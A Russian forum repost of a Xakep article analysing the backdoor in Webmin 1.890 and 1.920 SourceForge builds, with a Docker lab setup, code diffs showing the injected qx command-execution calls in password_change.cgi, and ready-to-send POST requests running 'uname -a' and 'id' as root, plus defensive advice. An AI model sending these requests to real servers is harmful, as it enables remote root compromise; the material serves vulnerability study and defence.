Хакер - Лазейка в Webmin. Как работает бэкдор в панели управления сервером

M

mostbiggestshark

Содержание статьи
  • Стенд
  • Детали
  • Демонстрация уязвимости (видео)
  • Заключение
В популярной панели управления сервером Webmin обнаружилась уязвимость, которая больше всего похожа на оставленную кем-то закладку. Атакующий в результате может выполнять произвольный код на целевой системе с правами суперпользователя. Давай посмотрим, как это работает, в чем заключается проблема и как с ней бороться.
Webmin полностью написан на Perl, без использования нестандартных модулей. Он состоит из простого веб-сервера и нескольких скриптов — они связывают команды, обеспечивающие исполнение команд, которые пользователь отдает в веб-интерфейсе, на уровне операционной системы и внешних программ. Через веб-админку можно создавать новые учетные записи пользователей, почтовые ящики, изменять настройки служб и разных сервисов и все в таком духе.
Уязвимость находится в модуле восстановления пароля. Манипулируя параметром old в скрипте password_change.cgi, атакующий может выполнять произвольный код на целевой системе с правами суперпользователя, что наводит на мысли об умышленном характере этого бага. Что еще подозрительнее — проблема присутствует только в готовых сборках дистрибутива с SourceForge, а в исходниках на GitHub ее нет.
Стенд
Для демонстрации уязвимости нам понадобятся две версии дистрибутива Webmin — 1.890 и 1.920, так как тестовые окружения для них немного различаются.
Для этого воспользуемся двумя контейнерами Docker.
$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash

Теперь установим необходимые зависимости.
$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions

Во время установки apt-show-versions у меня возникла проблема (на скриншоте ниже).
246a9174a201631360baf.png

Следующие команды помогают ее устранить:
$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions

После этого скачиваем соответствующие версии дистрибутивов с SourceForge.
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.890_all.deb
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.deb

И устанавливаем их.
$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb

678ca83cde861ba3fd89a.png

Теперь запускаем демоны Webmin.
$ service webmin start

Версия 1.890 доступна на дефолтном порте 10000, а 1.920 — на 20000.
5bc65e2f56047bc6297fd.png

Осталось только установить пароль для пользователя root при помощи команды passwd, и стенды готовы. Переходим к деталям уязвимости.
Детали
Сначала разберемся с версией 1.920. Проблема — в функции смены пароля, а сама она находится в файле password_change.cgi. Так как проблема затронула только версию приложения с SourceForge, можно легко узнать, в чем разница с той, что лежит на GitHub.
a5aaa6f5de49d583553eb.png

Видим, что добавлен вызов функции qx.
webmin-1.920-github/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});

webmin-1.920-sourceforge/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Интересные изменения. Но не будем спешить, сначала разберемся, как добраться до этой части кода.
В начале скрипта проверяется, какой режим парольной политики выбран в настройках.
password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

Авторизуемся в панели управления Webmin как root и зайдем в настройки аутентификации (Webmin → Webmin Configuration → Authentication), здесь нужно найти пункт Password expiry policy и установить его в Prompt users with expired passwords to enter a new one.
66ff5e0fe3886895ddbb7.png

Теперь переменная passwd_mode имеет значение 2, что можно проверить в конфигурационном файле, и выполнение скрипта не будет прерываться на строке 12.
c67b8e55da74f58ce8a9f.png

Чтобы наглядно увидеть форму для изменения пароля, давай перейдем в раздел редактирования пользователей и создадим тестового юзера. Здесь установим опцию Force change at next login.
fbb5df145c4a0878eedee.png

Теперь при авторизации от его имени система попросит установить новый пароль. Данные этой формы как раз и будут отправлены на скрипт password_change.cgi.
3615b18993a4c6c9075d2.png

Итак, заполним форму, отправим и перехватим запрос. Теперь возвращаемся к скрипту. Массив $in содержит пользовательские данные, которые передаются в теле запроса POST.
password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

Здесь проверяется, что новый пароль установлен (переменная new1) и он оба раза введен верно (new1 == new2).
Далее Webmin выполняет проверку на наличие и возможность использования модуля acl (access-control list).
password_change.cgi
19: if (&foreign_check("acl")) {

Если такой модуль есть, то подгружаем его.
20: &foreign_require("acl", "acl-lib.pl");

Из названия понятно, что модуль работает со списком управления доступом. Он выполняет разные операции с пользователями: редактирование, изменение паролей и прав.
Скрипт выбирает из списка пользователей юзера, которому нужно установить новый пароль. Имя пользователя берется из поля user формы смены пароля.
password_change.cgi
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();

Давай немного поиграем в тестировщиков и посмотрим на переменную $wuser. Для этого нужно добавить в скрипт включение модуля Data::Dumper, после чего можно будет выводить информацию о переменных при помощи конструкции Dumper($var_name).
password_change.cgi
6: use Data::Dumper;
...
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus

7d4bb524b9cd812808a6e.png

В Webmin пользователи бывают двух типов: системные, которые существуют непосредственно в ОС, и внутренние юзеры приложения. Список системных пользователей в Linux ты можешь найти в файле /etc/passwd, именно из него и берет информацию Webmin. Поэтому у таких пользователей свойство pass будет иметь значение x.
20b9e714a9a3b0a435655.png

Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
$wuser = {
'name' => 'root',
'pass' => 'x',
'readonly' => undef,
'lastchange' => '',
'real' => undef,
'twofactor_apikey' => undef,
'lang' => 'ru.UTF-8',
...
};

password_change.cgi
22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
...
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

c5c34ffbd84180276e457.png

Однако не все так плохо. Если указать несуществующего пользователя, то переменная станет пустой, но не неопределенной. И в таком случае условие if ($wuser) будет считаться истиной.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

a5679126df357c60cdc7a.png

Здесь старый пароль, который мы передали в форме, сравнивается с текущим паролем пользователя. Естественно, эта часть выражения будет ложной, так как никакого пользователя nonexistentuser не существует. Поэтому выполняется вторая часть условия, где выводится сообщение об ошибке, а к нему добавляется то, что вернет конструкция qx/$in{'old'}/.
password_change.cgi
37: if ($wuser) {
...
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Что же это за функция — qx? Это альтернатива использованию обратных кавычек для выполнения системных команд. В качестве разделителей можно использовать любые символы, в нашем случае это /. То есть, проще говоря, будет выполнена команда, которая передана в качестве старого пароля (old) пользователя.
Давай протестируем это и попробуем передать, например, uname -a.
POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce19.vh:20000/session_login.cgi

user=nonexistentuser&pam=1&expired=2&old=uname+-a&new1=any&new2=any

893dfdc4c5171f2cc9f2f.png

Вуаля! Команда была выполнена, и pass_error любезно предоставила результат ее работы на экране.
Таким образом, если парольная политика Webmin 1.920 разрешает запрашивать новые аутентификационные данные у пользователей с просроченными паролями, то при такой конфигурации возможно удаленное выполнение команд от имени суперпользователя.
С этой версией разобрались, теперь перейдем к более старой 1.890.
Снова сравним файл password_change.cgi из двух источников.
fec93580bef21bd2d9867.png

webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

Здесь есть похожая конструкция с qx — qx/$in{'expired'}/, только на этот раз она была использована еще более дерзко.
Сначала обращаю твое внимание на то, что вместо проверки парольной политики используется простая проверка переменной $in{'expired'} на то, не пустая ли она. Так как $in — это пользовательские данные из запроса, то обойти эту проверку не составит никакого труда. Для этого достаточно указать любое значение в параметре expired при запросе к скрипту. К тому же данные из этого параметра и являются тем, что будет выполнено. Поэтому просто указываем необходимую команду.
POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce18.vh:10000/session_login.cgi

expired=id

И сервер вернет результат ее выполнения.
bc4c97eff77c2d26e991b.png

Заключение
Сегодня мы узнали, что не стоит слепо доверять даже таким источникам, как sourceforge.net. Если есть несколько способов скачать приложения, то можно сверить их контрольные суммы. А если ты ставишь дистрибутив на сервер, где будет идти работа с важными данными, то этот пункт становится еще актуальнее.
Если ты сам разработчик, то почаще проверяй, что ты загружаешь на разные ресурсы: версии не должны расходиться. А еще лучше использовать какое-то средство автоматического аудита исходников, которое предупредит о подозрительных находках. Это, конечно, не панацея, но в таких случаях может выручить.
Если же ты уже используешь Webmin и хочешь избавиться от описанной закладки, то это просто. Достаточно удалить вызов функции qx, а также вернуть проверку passwd_mode в Webmin версии 1.890.
Если хочешь побольше узнать о том, как получилось, что бэкдор попал в релиз дистрибутива, рекомендую ознакомиться с официальной хронологией событий, написанной разработчиками Webmin.
 
Похожие темы
Support81 Интересно Миф о юных гениях разрушен. Реальный хакер — это ваш 40-летний сосед Новости в сети 0
Support81 «Не виновен», — сказал хакер, парализовавший Лондон, и отказался выдать пароль. Новости в сети 0
Support81 В Украине задержан хакер, разыскиваемый ФБР США Новости в сети 0
Support81 Нажали Play — хакер уже в системе. Как работает звуковой троян Новости в сети 0
Support81 Один неизвестный хакер парализовал культурную жизнь 52-миллионной нации Новости в сети 0
Support81 В 2025 году не нужен хакер — вирус Horabot сам отправляет письма от вашего имени Новости в сети 0
Support81 Хакер взломал мессенджер для чиновников и нашёл внутри полный архив их переписок Новости в сети 0
Support81 Неудавшийся пират: 22-летний хакер превратил криптобиржи в личный банк Новости в сети 0
Support81 Алет Денис: как девушка-хакер обманула целую корпорацию Новости в сети 0
Support81 Insider Trading: британский хакер обманул Уолл-стрит на $3,75 млн Новости в сети 0
Support81 Легендарный хакер USDoD раскрыл свою личность Новости в сети 0
Support81 Хакер подделал собственную смерть, чтобы избежать выплаты алиментов Новости в сети 0
Support81 Хакер-одиночка раскрыл тысячи секретов крупнейших компаний мира Новости в сети 0
Support81 В Москве арестован хакер, подозреваемый в связях с Trickbot Новости в сети 1
Support81 Самый разыскиваемый хакер приговорен к 6 годам тюрьмы в Финляндии Новости в сети 0
Support81 Непальский хакер возглавил Зал славы, взломав Facebook за 1 час Новости в сети 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
Support81 Умер Кевин Митник, самый известный хакер в мире Новости в сети 1
Support81 Белый хакер внезапно «почернел» и похитил 9 миллионов долларов в криптовалюте Новости в сети 0
DOMINUS 11-летний хакер шантажировал собственного отца Новости в сети 1
DOMINUS Хакер из Бобруйска заработал полмиллиона долларов на брутфорс-атаках Новости в сети 0
CMDfromBAT Интересно ОТВЕТСТВЕННОСТЬ ЗА КРАШ ГУГЛА ВЗЯЛ НА СЕБЯ РУССКИЙ ХАКЕР! Свободное общение 17
Anorali Интересно Этичный хакер. Как стать хакером с белой шляпой? Полезные статьи 0
L Интересно Хакер вернул большую часть украденных с Lendf.me криптоактивов Новости в сети 0
S То самое чувство когда попал на деньги и почувствовал что в тебе проснулся хакер Свободное общение 11
M Хакер установил Windows 10 на калькулятор Новости в сети 5
Admin Хакер за неделю украл биткоинов на $750 000, Через фейковый electrum север Новости в сети 6
M Слив платного курса eXeL@B ХАКЕР-ПРОГРАММИСТ 2018 Раздачи и сливы 0
T Платные статьи из журнала Хакер Полезные статьи 1
K Хакер-программист 2018 Раздачи и сливы 0
G Подборочка платных статей из журнала ХАКЕР Полезные статьи 1
G Хакер-программист 2018 Раздачи и сливы 4
S Коди Кретсингер — хакер, взломавший PlayStation Новости в сети 0
I Бесплатная подписка на 7 дней / Журнал "Хакер"! Раздачи и сливы 0
S Хакер воспользовался уязвимостью в Ethereum-клиенте Parity и украл криптовалюту на $30 млн Новости в сети 0
S Хакер похитил почти $8 млн в криптовалюте с помощью простого трюка Новости в сети 0
S «Русский хакер» продает новый инфостилер Новости в сети 0
S Хакер из Ангарска осужден на 8 месяцев за создание трояна Новости в сети 0
T Хакер. Старт. Библиотека. Свободное общение 3
G Арестован хакер по обвинению в удалении данных о штрафах за нарушение ПДД Новости в сети 3
М Нужен хакер по сливам денег. Есть карты. Номера итд. Свяжитесь. Способы заработка 9
Admin Хакер похитил криптовалюту на $300 тыс. и обвалил ее курс Новости в сети 1
Admin Нардеп-хакер задекларировал биткоинов на 76 млн гривен Новости в сети 2
Admin 16-летний хакер взломал 100 страниц «ВКонтакте» и похитил 15 тысяч рублей с карточек Новости в сети 4

Название темы